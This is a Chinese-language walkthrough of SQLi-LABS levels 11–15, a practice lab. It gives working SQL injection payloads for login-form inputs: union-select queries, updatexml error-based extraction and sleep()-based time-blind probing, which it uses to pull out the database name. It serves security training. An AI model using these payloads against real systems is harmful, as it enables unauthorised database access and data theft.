SQLi-LABS 11关
1.第11关是post注入,利用表单进行注入,这里要使用表单进行搜索注入或者BurpSurite抓包
这里我们只用搜索注入
2.在Username中进行sql闭合方式测试
1' //报sql语法错误
1' # //无回显,表示正常
闭合方式是字符型 '
3.使用联合查询语句进行数据库查询,得到数据库名security
1' union select 1,database() #
SQLi-LABS 12关
1.该关也是post注入,同样的,可以使用搜索框注入或者burpsurite抓包
由于11关使用的搜索注入,这关我们使用抓包
2.在username输入随意字符提交进行抓包,这里输入‘1’
得到包后,发送到Rapeater
3.注入点就是刚才输入的1
在1后面进行闭合方式测试
1' --+ //没有回显
1" //报sql语法错误
1" --+ //报sql语法错误
1") --+ //不再报错
所以是字符型注入"
4.使用联合查询进行数据库名查询
注入语句:
1") union select 1,database() --+
SQLi-LABS 13关
1.这一关按照11关12关的方式进行sql注入测试
1' //报错
1' # //报错
1" //无回显
1') # //无回显
所以是字符型 ')
2.在进行测试中,发现有报错信息,所以使用报错注入
注入语句:
1') union select 1,updatexml(1,concat(1,(select database())),1) #
SQLi-LABS 14关
1.和13关一样,使用报错注入
2.判断闭合方式
1' # //无回显
1" //报错
1" # //无回显
所以是字符型 "
3.使用报错注入语句
注入语句:
1" union select 1,updatexml(1,concat(1,(select database())),1) #
SQLi-LABS 15关
1.该关进行sql测试时发现无论输入什么都没有回显,所以只能使用时间盲注
2.测试是否可以使用时间盲注,就是使用sleep()函数进行延时测试
admin' and sleep(3) # //有明显延迟
所以闭合方式是 ' #且可以使用时间盲注
3.通过时间盲注语句进行注入,得到数据库名
注入语句:
admin' and if((ascii(substr(database(),1,1))=115),sleep(5),0) #
以此类推,更改参数得到数据库名security